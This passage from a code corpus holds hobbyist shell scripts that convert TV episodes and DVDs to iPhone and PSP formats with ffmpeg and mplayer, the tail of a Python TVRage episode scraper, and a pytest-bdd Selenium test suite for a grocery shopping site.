attributes[1][0] == \"href\":\n self.inRightTag = 1\n #for name, value in attributes:\n # if name == \"class\" and value == \"wlink\": \n # self.inRightTag = 1\n\n def end_a(self):\n \"Close the a tags\"\n\n self.inRightTag = 0\n\n def handle_data(self, data):\n \"Handle the textual 'data'.\"\n\n if self.inRightTag == 1:\n self.episodeData.append(data)\n\n def get_episodeData(self):\n \"Return the list of Episode Data.\"\n\n return self.episodeData\n\ndef parse_my_stuff(tvshow, season):\n # Get something to work with.\n f = urllib.urlopen(\"http://www.tvrage.com/%s/episode_guide/%s\" % (str(tvshow), str(season)))\n s = f.read()\n myparser = MyParser()\n myparser.parse(s)\n #print myparser.get_episodeData()\n return myparser.get_episodeData()\n\ndef main():\n run = True\n if len(sys.argv) < 3:\n print \"Not enough arguments\"\n run = False\n #sys.exit(1)\n if run:\n tvshow = str(sys.argv[1]).replace(\" \",\"_\")\n season = sys.argv[2]\n list_of_stuff = parse_my_stuff(tvshow, season)\n for index in list_of_stuff:\n s_info = index.split(\":\")\n t_info = s_info[1].split(\"-\")\n number = str(t_info[0]).strip()\n title = str(t_info[1]).strip().replace(\" \",\"_\")\n os.mkdir(\"./%s_-_%s_-_%s\" % (str(tvshow), str(number), str(title)))\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.45816734433174133, "alphanum_fraction": 0.48207172751426697, "avg_line_length": 11.550000190734863, "blob_id": "6d244bf0f4864ac4e4842b7093a337982d071d52", "content_id": "1dc40f64352f9f65d683f2d746761a15edaa2d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 251, "license_type": "no_license", "max_line_length": 72, "num_lines": 20, "path": "/tools/convert-tvdir-to-iphone.sh", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/bin/sh -x\n\nif [ -n \"$1\" ]\nthen\n DIR=$1\nelse \n DIR=\".\"\nfi\n\nfind \"$DIR\" -iname \"*sample*\" -type f -size -30M -print0 | xargs -0 rm \n\nfor i in $DIR/*\ndo\n if [ -d \"$i\" ]\n then \n pushd \"$i\"\n tv-to-iphone.sh *avi\n popd\n fi\ndone\n" }, { "alpha_fraction": 0.5119878649711609, "alphanum_fraction": 0.5693475008010864, "avg_line_length": 38.22618865966797, "blob_id": "ddb64ce813b149b5e919e7d0b2c6a01840e5c59d", "content_id": "f2ff5b18588b7efff660a82d790620c967b026fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3295, "license_type": "no_license", "max_line_length": 469, "num_lines": 84, "path": "/iphone/tv-to-iphone.sh", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nif [ $# -lt 1 ]; then\n echo \"usage: $(basename $0) <videofile>\"\n exit 1\nfi\n\nwhile getopts \"b:t:h\" flag\ndo\n case $flag in\n b )\n BITRATE=\"$OPTARG\"\n ;;\n t )\n THREADS=\"$OPTARG\"\n ;;\n h )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \" -b Specify the Bitrate. Should be between 200k and 1500k.\"\n echo \" Note: The \\\"k\\\" is needed. e.g. \\\"512k\\\"\"\n echo \" -h help (this help message)\"\n echo \" -t Specify the number of threads. This will default to the number of CPUS found.\"\n echo \"\"\n echo \"example: `basename $0` -b 512k -t 2 some_video_file.avi\"\n exit 1\n ;;\n \\? )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n * )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n esac\ndone\nshift $(($OPTIND - 1))\n\nif [ -z \"$BITRATE\" ] \nthen\n BITRATE=300k\nfi\n\nif [ -z \"$THREADS\" ] \nthen\n THREADS=$(grep -c \"^processor\" /proc/cpuinfo)\nfi\n\nSHOW=$(echo $PWD |awk -F/ '{print $(NF)}')\nNAME=$(echo $SHOW | sed -e 's/_-_/-/g' -e 's/_/ /g' -e 's/-/ - /g')\nTITLE=$(echo $SHOW | sed -e 's/_-/-/g' -e 's/-_/-/g' )\n\nif [ -e ./.CONVERTED-TO-IPHONE ]\nthen\n echo \"CONVERTED FILE Found\"\n echo 'This has probably already been converted!'\n exit 1\nfi\n#Pass 1\nffmpeg -threads $THREADS -y -i \"$1\" -s 480x272 -vcodec libx264 -b $BITRATE -flags +loop -cmp +chroma -me_range 16 -g 300 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq \"blurCplx^(1-qComp)\" -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -coder 0 -refs 1 -bt $BITRATE -maxrate 4M -bufsize 4M -level 21 -r 30000/1001 -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -f mp4 -aspect 480:272 -title \"$NAME\" -acodec libfaac -ac 2 -ar 48000 -ab 128 -pass 1 \"$TITLE.mp4\"\n#Pass 2\nffmpeg -threads $THREADS -y -i \"$1\" -s 480x272 -vcodec libx264 -b $BITRATE -flags +loop -cmp +chroma -me_range 16 -g 300 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq \"blurCplx^(1-qComp)\" -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -coder 0 -refs 1 -bt $BITRATE -maxrate 4M -bufsize 4M -level 21 -r 30000/1001 -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -f mp4 -aspect 480:272 -title \"$NAME\" -pass 2 -acodec libfaac -ac 2 -ar 48000 -ab 128 -vol 320 \"$TITLE.mp4\"\nif [ $? -eq 0 ] \nthen \n #Attempt to tag file\n AP=$(which AtomicParsley)\n if [ $? -eq 0 ]\n then\n TVSHOW=$(echo $SHOW | awk -F '-' '{print $1}' | sed 's/_/ /g' | sed 's/ *$//g')\n TVEPISODENAME=$(echo $SHOW | awk -F '-' '{print $3}' | sed 's/_/ /g' | sed 's/ *$//g')\n TVSEASON=$(echo $SHOW | awk -F '_-_' '{split($2,a,\"x\");print a[1]}')\n TVEPISODE=$(echo $SHOW | awk -F '_-_' '{split($2,a,\"x\");print a[2]}')\n echo TV Show = $TVSHOW\n echo TV Episode Name = $TVEPISODENAME\n echo TV Season = $TVSEASON\n echo TV Episode = $TVEPISODE\n $AP \"$TITLE.mp4\" --stik \"TV Show\" --TVShowName \"$TVSHOW\" --title \"$TVEPISODENAME\" --TVSeasonNum \"$TVSEASON\" --TVEpisodeNum \"$TVEPISODE\"\n /bin/mv -f *temp-[0-9]*.mp4 \"$TITLE.mp4\"\n fi\n touch .CONVERTED-TO-IPHONE\nfi\nrm -f *log\n" }, { "alpha_fraction": 0.5214999914169312, "alphanum_fraction": 0.5587499737739563, "avg_line_length": 30.746030807495117, "blob_id": "9ec190b78b6e07033253660c3f1fa97a1fb69c36", "content_id": "d3f7889af922ae3bda729ee2a281be08ce79a49c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4000, "license_type": "no_license", "max_line_length": 207, "num_lines": 126, "path": "/psp/dvd-to-psp.sh", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nif [ $# -lt 1 ]; then\n echo \"usage: $(basename $0) <dvd.iso>\"\n exit 1\nfi\n\nwhile getopts \"b:t:h\" flag\ndo\n case $flag in\n b )\n BITRATE=\"$OPTARG\"\n ;;\n t )\n THREADS=\"$OPTARG\"\n ;;\n h )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \" -b Specify the Bitrate. Should be between 200k and 1500k.\"\n echo \" Note: The \\\"k\\\" is needed. e.g. \\\"512k\\\"\"\n echo \" -h help (this help message)\"\n echo \" -t Specify the number of threads. This will default to the number of CPUS found.\"\n echo \"\"\n echo \"example: `basename $0` -b 512k -t 2 some_video_file.avi\"\n exit 1\n ;;\n \\? )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n * )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n esac\ndone\nshift $(($OPTIND - 1))\n\nif [ -z \"$BITRATE\" ] \nthen\n BITRATE=300k\nfi\n\nif [ -z \"$THREADS\" ] \nthen\n THREADS=$(grep -c \"^processor\" /proc/cpuinfo)\nfi\n\nTITLE=$(echo $PWD |awk -F/ '{print $(NF)}')\nNUM1=$(echo $MOVIE | tr \"A-Z\" \"a-z\" | awk -F - '{print $1}' | md5sum| tr -d a-z | cut -b -5)\nNAME=MAQ${NUM1}\n\n###################### Get DVD AUDIO Stream for PSP################################################\nmplayer -v dvd:// -dvd-device \"$1\" > dvdout.tmp 2>/dev/null\n#Get number of audio tracks\ngrep \"^audio stream:.*language: en\" dvdout.tmp\nNUMAUD=$(grep \"^number of audio channels on disk:\" dvdout.tmp| tr -d .| awk -F : '{print $2}')\necho \"Number of Audio Tracks on DVD: $NUMAUD\"\nif [ \"$NUMAUD\" -eq 0 ]\nthen\n echo \"No Audio Tracks Found. Please Investigate...\"\n rm -f dvdout.tmp\n exit 1\nfi\nif [ \"$NUMAUD\" -eq 1 ]\nthen\n echo \"Only one audio track, gonna use it\"\n rm -f dvdout.tmp\nelse\n #count how many English languages there are\n NUMENAUD=$(grep -c \"^audio stream:.*language: en\" dvdout.tmp)\n if [ \"$NUMENAUD\" -eq 1 ]\n then\n echo \"Only one English audio track, gonna use it\"\n ENAUDIO=$(grep \"^audio stream:.*language: en\" dvdout.tmp | awk '{print $3}')\n NENAUDIO=$(expr $ENAUDIO + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n else\n #prefer stereo stream for psp\n STEREOSTREAM=$(grep \"^audio stream:.*stereo.*language: en\" dvdout.tmp | head -1 | awk '{print $3}')\n FIVEONESTREAM=$(grep \"^audio stream:.*5.1.*language: en\" dvdout.tmp | awk '{print $3}')\n \n \n if [ -n \"$STEREOSTREAM\" ]\n then\n echo \"Stereo Found. Will use stereo\"\n NENAUDIO=$(expr $STEREOSTREAM + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n elif [ -z \"$FIVEONESTREAM\" ]\n then\n echo \"No 5.1 sound found. Please investigate:\"\n grep \"^audio stream:.*language: en\" dvdout.tmp\n exit 1\n else\n echo \"No Stereo Found. Will use 5.1\"\n NENAUDIO=$(expr $FIVEONESTREAM + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n fi\n fi\nfi\nrm -f dvdout.tmp\necho $MAPSWITCH\n################################################################################3\n\n\nif [ -e ./.CONVERTED-TO-PSP ]\nthen\n echo \"CONVERTED FILE Found\"\n echo 'This has probably already been converted!'\n exit 1\nfi\nmplayer dvd:// -dumpstream -dvd-device \"$1\"\n#Pass 1\nffmpeg -threads $THREADS -y -i stream.dump -title $TITLE -vcodec libx264 -coder 1 -bufsize 128 -g 250 -s 480x272 -r 29.97 -b $BITRATE -pass 1 -f psp $NAME.MP4\n#Pass 2\nffmpeg -threads $THREADS -y -i stream.dump -title $TITLE -vcodec libx264 -coder 1 -bufsize 128 -g 250 -s 480x272 -r 29.97 -b $BITRATE -pass 2 -acodec libfaac -ac 2 -ar 48000 -ab 128 -vol 384 -f psp $NAME.MP4\nif [ $? -eq 0 ]\nthen\n #Picture\n ffmpeg -y -i stream.dump -f image2 -ss 30 -vframes 1 -s 160x120 -an $NAME.THM\n touch .CONVERTED-TO-PSP\nfi\nrm -f *log\nrm -f *dump\n" }, { "alpha_fraction": 0.5299184322357178, "alphanum_fraction": 0.5795557498931885, "avg_line_length": 35.16393280029297, "blob_id": "67e9cb05d745588e42861d558fbd4706e5646b95", "content_id": "f87d7fa492a981d1c9d58bbde1c7b187665abaa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4412, "license_type": "no_license", "max_line_length": 477, "num_lines": 122, "path": "/iphone/dvd-to-iphone.sh", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nif [ $# -lt 1 ]; then\n echo \"usage: $(basename $0) <dvd.iso>\"\n exit 1\nfi\n\nwhile getopts \"b:t:h\" flag\ndo\n case $flag in\n b )\n BITRATE=\"$OPTARG\"\n ;;\n t )\n THREADS=\"$OPTARG\"\n ;;\n h )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \" -b Specify the Bitrate. Should be between 200k and 1500k.\"\n echo \" Note: The \\\"k\\\" is needed. e.g. \\\"512k\\\"\"\n echo \" -h help (this help message)\"\n echo \" -t Specify the number of threads. This will default to the number of CPUS found.\"\n echo \"\"\n echo \"example: `basename $0` -b 512k -t 2 some_video_file.avi\"\n exit 1\n ;;\n \\? )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n * )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n esac\ndone\nshift $(($OPTIND - 1))\n\nif [ -z \"$BITRATE\" ] \nthen\n BITRATE=300k\nfi\n\nif [ -z \"$THREADS\" ] \nthen\n THREADS=$(grep -c \"^processor\" /proc/cpuinfo)\nfi\n\nTITLE=$(echo $PWD |awk -F/ '{print $(NF)}')\n\n###################### Get DVD AUDIO Stream for iPhone################################################\nmplayer -v dvd:// -dvd-device \"$1\" > dvdout.tmp 2>/dev/null\n#Get number of audio tracks\ngrep \"^audio stream:.*language: en\" dvdout.tmp\nNUMAUD=$(grep \"^number of audio channels on disk:\" dvdout.tmp| tr -d .| awk -F : '{print $2}')\necho \"Number of Audio Tracks on DVD: $NUMAUD\"\nif [ \"$NUMAUD\" -eq 0 ]\nthen\n echo \"No Audio Tracks Found. Please Investigate...\"\n rm -f dvdout.tmp\n exit 1\nfi\nif [ \"$NUMAUD\" -eq 1 ]\nthen\n echo \"Only one audio track, gonna use it\"\n rm -f dvdout.tmp\nelse\n #count how many English languages there are\n NUMENAUD=$(grep -c \"^audio stream:.*language: en\" dvdout.tmp)\n if [ \"$NUMENAUD\" -eq 1 ]\n then\n echo \"Only one English audio track, gonna use it\"\n ENAUDIO=$(grep \"^audio stream:.*language: en\" dvdout.tmp | awk '{print $3}')\n NENAUDIO=$(expr $ENAUDIO + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n else\n #prefer stereo stream for psp\n STEREOSTREAM=$(grep \"^audio stream:.*stereo.*language: en\" dvdout.tmp | head -1 | awk '{print $3}')\n FIVEONESTREAM=$(grep \"^audio stream:.*5.1.*language: en\" dvdout.tmp | awk '{print $3}')\n \n \n if [ -n \"$STEREOSTREAM\" ]\n then\n echo \"Stereo Found. Will use stereo\"\n NENAUDIO=$(expr $STEREOSTREAM + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n elif [ -z \"$FIVEONESTREAM\" ]\n then\n echo \"No 5.1 sound found. Please investigate:\"\n grep \"^audio stream:.*language: en\" dvdout.tmp\n exit 1\n else\n echo \"No Stereo Found. Will use 5.1\"\n NENAUDIO=$(expr $FIVEONESTREAM + 1)\n MAPSWITCH=\"-map 0.0:0.0 -map 0.${NENAUDIO}:0.1\"\n fi\n fi\nfi\nrm -f dvdout.tmp\necho $MAPSWITCH\n################################################################################3\n\nif [ -e ./.CONVERTED-TO-IPHONE ]\nthen\n echo \"CONVERTED FILE Found\"\n echo 'This has probably already been converted!'\n exit 1\nfi\n#dump dvd stream from ISO\nmplayer dvd:// -dumpstream -dvd-device \"$1\"\n#Pass 1\nffmpeg -threads $THREADS -y -i stream.dump -s 480x272 -vcodec libx264 -b $BITRATE -flags +loop -cmp +chroma -me_range 16 -g 300 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq \"blurCplx^(1-qComp)\" -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -coder 0 -refs 1 -bt $BITRATE -maxrate 4M -bufsize 4M -level 21 -r 30000/1001 -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -f mp4 -aspect 480:270 -title \"$TITLE\" -acodec libfaac -ac 2 -ar 48000 -ab 128 -pass 1 \"$TITLE.mp4\"\n#Pass 2\nffmpeg -threads $THREADS -y -i stream.dump -s 480x272 -vcodec libx264 -b $BITRATE -flags +loop -cmp +chroma -me_range 16 -g 300 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq \"blurCplx^(1-qComp)\" -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -coder 0 -refs 1 -bt $BITRATE -maxrate 4M -bufsize 4M -level 21 -r 30000/1001 -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -f mp4 -aspect 480:270 -title \"$TITLE\" -pass 2 -acodec libfaac -ac 2 -ar 48000 -ab 128 -vol 410 \"$TITLE.mp4\"\nif [ $? -eq 0 ]\nthen\n touch .CONVERTED-TO-IPHONE\nfi\nrm -f *log\nrm -f *dump\n" }, { "alpha_fraction": 0.4988774061203003, "alphanum_fraction": 0.5487202405929565, "avg_line_length": 27.55128288269043, "blob_id": "90b40f1dbc48367ad1284513031de69ca116b5b9", "content_id": "97d4cc5ddd4e2c4d7792fe9a0bf4783cc85bb40c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2227, "license_type": "no_license", "max_line_length": 200, "num_lines": 78, "path": "/psp/tv-to-psp.sh", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nif [ $# -lt 1 ]; then\n echo \"usage: $(basename $0) <videofile>\"\n exit 1\nfi\n\nwhile getopts \"b:t:h\" flag\ndo\n case $flag in\n b )\n BITRATE=\"$OPTARG\"\n ;;\n t )\n THREADS=\"$OPTARG\"\n ;;\n h )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \" -b Specify the Bitrate. Should be between 200k and 1500k.\"\n echo \" Note: The \\\"k\\\" is needed. e.g. \\\"512k\\\"\"\n echo \" -h help (this help message)\"\n echo \" -t Specify the number of threads. This will default to the number of CPUS found.\"\n echo \"\"\n echo \"example: `basename $0` -b 512k -t 2 some_video_file.avi\"\n exit 1\n ;;\n \\? )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n * )\n echo \"Usage: `basename $0` [-b bitrate] [-t numOfThreads] [-h]\"\n echo \"Use \\\"`basename $0` -h\\\" for more information\"\n exit 1\n ;;\n esac\ndone\nshift $(($OPTIND - 1))\n\nif [ -z \"$BITRATE\" ] \nthen\n BITRATE=300k\nfi\n\nif [ -z \"$THREADS\" ] \nthen\n THREADS=$(grep -c \"^processor\" /proc/cpuinfo)\nfi\n\n\n\nVNAME=`echo ${1%.*}`\nNEWNAME=\\\"$1\\\"\nLOG=convertpsp.log\nSHOW=$(echo $PWD |awk -F/ '{print $(NF)}')\nTITLE=$(echo $SHOW | sed -e 's/_-/-/g' -e 's/-_/-/g' )\nNUM2=$(echo $SHOW | awk -F - '{print $2}' | tr -d x | tr -d _)\nNUM1=$(echo $SHOW | tr \"A-Z\" \"a-z\" | awk -F - '{print $1}' | md5sum| tr -d a-z | cut -b -2)\nNAME=MAQ${NUM1}${NUM2} \necho $NEWNAME\n\nif [ -e ./.CONVERTED-TO-PSP ]\nthen\n echo \"CONVERTED FILE Found\"\n echo 'This has probably already been converted!'\n exit 1\nfi\nffmpeg -threads $THREADS -y -i \"$1\" -title $TITLE -vcodec libx264 -coder 1 -bufsize 128 -g 250 -s 480x272 -r 29.97 -b $BITRATE -pass 1 -f psp $NAME.MP4\nffmpeg -threads $THREADS -y -i \"$1\" -title $TITLE -vcodec libx264 -coder 1 -bufsize 128 -g 250 -s 480x272 -r 29.97 -b $BITRATE -pass 2 -acodec libfaac -ac 2 -ar 48000 -ab 128 -vol 384 -f psp $NAME.MP4\nif [ $? -eq 0 ]\nthen\n #Picture\n ffmpeg -y -i $1 -f image2 -ss 30 -vframes 1 -s 160x120 -an $NAME.THM\n touch .CONVERTED-TO-PSP\nfi\nrm -f *log\nrm -f *dump\n" } ]
6
ramuvu/test_bdd
https://github.com/ramuvu/test_bdd
84963db6e06449affa88f8fecaf638ebb8cd56a0
45a1bd7690cd454b816cb8b83bea6e2b40e19d6e
edf29652c2943e6d738da1ed5e9acfcb9c952d31
refs/heads/master
2023-07-14T12:02:21.321395
2021-07-30T14:56:08
2021-07-30T14:56:08
390,731,059
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7403846383094788, "avg_line_length": 27.454545974731445, "blob_id": "c8ffdbed68b0c90a4c468261ebb5cdcc56811e8a", "content_id": "d1d264323d926df33429efaffe16bf45001dd75a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 312, "license_type": "no_license", "max_line_length": 115, "num_lines": 11, "path": "/test/step_defis/conftest.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\n\n\[email protected](scope='session')\ndef init_driver():\n driver = webdriver.Chrome(executable_path='C:/Users/Rambabu/Downloads/chromedriver_win32 (1)/chromedriver.exe')\n #request.cls.driver = driver\n driver.maximize_window()\n yield driver\n driver.close()" }, { "alpha_fraction": 0.7545327544212341, "alphanum_fraction": 0.7608089447021484, "avg_line_length": 33.95121765136719, "blob_id": "640c9413831e9be77d3079afde1ede4fb9997eaf", "content_id": "1af2cc25b25c3fcbe0a958e40e0de3bc5f5a6b4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 90, "num_lines": 41, "path": "/test/step_defis/test_scenario_2.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "import pytest\nfrom pytest_bdd import scenario,scenarios,given,when,then,parser\n\nfrom test.pages.checkout_page import CheckOutPage\nfrom test.pages.home_page import HomePage\nfrom test.pages.product_page import ProductPage\nfrom test.step_defis.test_base_test import BaseTest\nimport time\n\nurbankissan_home = \"https://www.urbankisaan.com/\"\n\nscenarios('C:/Users/Rambabu/PycharmProjects/python_bdd_1/test/features/scenario2.feature')\n\n@given('The urbankissan home page displayed')\ndef test_home_page(init_driver):\n home_page = HomePage(init_driver)\n home_page.launch_browser(urbankissan_home)\n\n@when('The user click on Shop now')\ndef test_click_shop(init_driver):\n home_page = HomePage(init_driver)\n home_page.click_shop_now()\n\n@when('The user selects multiple products and add to basket')\ndef test_select_product(init_driver):\n product_page = ProductPage(init_driver)\n product_page.product_selection(\"Banana G9\")\n product_page.product_selection(\"Sapota\")\n product_page.product_selection(\"Indian Guava\")\n product_page.product_selection(\"Green Apple\")\n\n@when('The user clicks checkout button')\ndef test_click_checkout_button(init_driver):\n product_page = ProductPage(init_driver)\n product_page.click_checkout_btn()\n\n\n@then('The user can able to see products list in checkout page')\ndef test_verify_product(init_driver):\n checkout = CheckOutPage(init_driver)\n checkout.verify_product_total(\"259\",\"289\")\n\n" }, { "alpha_fraction": 0.5588235259056091, "alphanum_fraction": 0.6176470518112183, "avg_line_length": 10.333333015441895, "blob_id": "c84ce4b88c3190e64e08e01645284bf22746dd47", "content_id": "aba56ade77ef1f1778879642795fd375c6ddd15e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/utilities/config.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "class Config:\n\n wait_time = 10\n" }, { "alpha_fraction": 0.7605075240135193, "alphanum_fraction": 0.7628865838050842, "avg_line_length": 34, "blob_id": "0fecbd77da2437d792f3d0b4fc74b980631d50dc", "content_id": "ef177bcfc2400b862fddd4f044bd85cc8b0aaab9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1261, "license_type": "no_license", "max_line_length": 84, "num_lines": 36, "path": "/test/step_defis/test_scenario_1.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "import pytest\nfrom pytest_bdd import scenario,scenarios,given,when,then,parser\n\nfrom test.pages.checkout_page import CheckOutPage\nfrom test.pages.home_page import HomePage\nfrom test.pages.product_page import ProductPage\nfrom test.step_defis.test_base_test import BaseTest\nimport time\n\nurbankissan_home = \"https://www.urbankisaan.com/\"\nscenarios('C:/Users/Rambabu/PycharmProjects/python_bdd_1/test/features/web.feature')\n\n@given('The urbankissan home page displayed')\ndef test_home_page(init_driver):\n home_page = HomePage(init_driver)\n home_page.launch_browser(urbankissan_home)\n\n@when('The user clicks on Shop now')\ndef test_click_shop(init_driver):\n home_page = HomePage(init_driver)\n home_page.click_shop_now()\n\n@when('The user selects product and add to cart')\ndef test_select_product(init_driver):\n product_page = ProductPage(init_driver)\n product_page.product_selection(\"Banana G9\")\n\n@when('The user clicks checkout button')\ndef test_click_checkout_button(init_driver):\n product_page = ProductPage(init_driver)\n product_page.click_checkout_btn()\n\n@then('The user can able to see product in checkout page')\ndef test_verify_product(init_driver):\n checkout = CheckOutPage(init_driver)\n checkout.verify_product_txt(\"Banana G9\")\n\n" }, { "alpha_fraction": 0.6927871704101562, "alphanum_fraction": 0.6963490843772888, "avg_line_length": 39.07143020629883, "blob_id": "5afe5186d55ae35819ee97f51e76289252405793", "content_id": "1869f1472882e9cfef1621e4a98949ed8a2ced78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1123, "license_type": "no_license", "max_line_length": 106, "num_lines": 28, "path": "/test/pages/product_page.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "from selenium.webdriver import ActionChains\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom test.pages.base_page import BasePage\nfrom utilities.config import Config\n\n\nclass ProductPage(BasePage):\n\n page_logo = (By.XPATH, \"(//div[@class='logo'])[2]\")\n product_xpath = \"//h5[normalize-space(text())='<product>']//following::button[1]\"\n checkout_button = (By.XPATH, \"(//span[@class='icon cart'])[2]\")\n\n def __init__(self,driver):\n super().__init__(driver)\n self.driver = driver\n\n def product_selection(self,product_name):\n WebDriverWait(self.driver, Config.wait_time).until(EC.presence_of_element_located(self.page_logo))\n text = self.product_xpath.replace('<product>',product_name)\n element = self.driver.find_element_by_xpath(str(text))\n action = ActionChains(self.driver)\n action.move_to_element(element).perform()\n action.click(element).perform()\n\n def click_checkout_btn(self):\n self.do_click(self.checkout_button)\n\n" }, { "alpha_fraction": 0.6243902444839478, "alphanum_fraction": 0.6268292665481567, "avg_line_length": 24.4375, "blob_id": "3d5246a0b525c185bc137c511e7748d2e036688b", "content_id": "070650fc35c84901674e9107cac51695d168c8e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "no_license", "max_line_length": 59, "num_lines": 16, "path": "/test/pages/home_page.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\nfrom test.pages.base_page import BasePage\n\nclass HomePage(BasePage):\n\n shop_now_button = (By.XPATH, \"(//a[@href='/shop'])[1]\")\n\n def __init__(self,driver):\n super().__init__(driver)\n self.driver = driver\n\n def launch_browser(self,url):\n self.driver.get(url)\n\n def click_shop_now(self):\n self.do_click(self.shop_now_button)\n\n\n\n" }, { "alpha_fraction": 0.7270471453666687, "alphanum_fraction": 0.7270471453666687, "avg_line_length": 36.78125, "blob_id": "3e3b63d9db77a336ac25b80ac75e21abbd32e357", "content_id": "c0398285ca0788f52f71089bedd864ee4f08bc42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1209, "license_type": "no_license", "max_line_length": 113, "num_lines": 32, "path": "/test/pages/base_page.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom utilities.config import Config\n\n\nclass BasePage:\n\n def __init__(self,driver):\n self.driver = driver\n\n\n def do_click(self,by_locator):\n element = WebDriverWait(self.driver,Config.wait_time).until(EC.visibility_of_element_located(by_locator))\n element.click()\n\n def do_send_keys(self,by_locator,text):\n element = WebDriverWait(self.driver,Config.wait_time).until(EC.visibility_of_element_located(by_locator))\n element.send_keys(text)\n\n def get_element_text(self,by_locator):\n element = WebDriverWait(self.driver,Config.wait_time).until(EC.visibility_of_element_located(by_locator))\n return element.get_attribute('innerText')\n\n def is_enebled(self,by_locator):\n element = WebDriverWait(self.driver,Config.wait_time).until(EC.visibility_of_element_located(by_locator))\n return bool(element)\n\n def get_title(self,title):\n WebDriverWait(self.driver,Config.wait_time).until(EC.title_is(title))\n return self.driver.title\n" }, { "alpha_fraction": 0.7223551869392395, "alphanum_fraction": 0.7314504384994507, "avg_line_length": 34.965518951416016, "blob_id": "c6884e21f77a3aa0d51d23f81ea1676a641cb193", "content_id": "c41232a1cb51b34a209383925311373c2c4003c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2089, "license_type": "no_license", "max_line_length": 115, "num_lines": 58, "path": "/test/step_defis/web_steps.py", "repo_name": 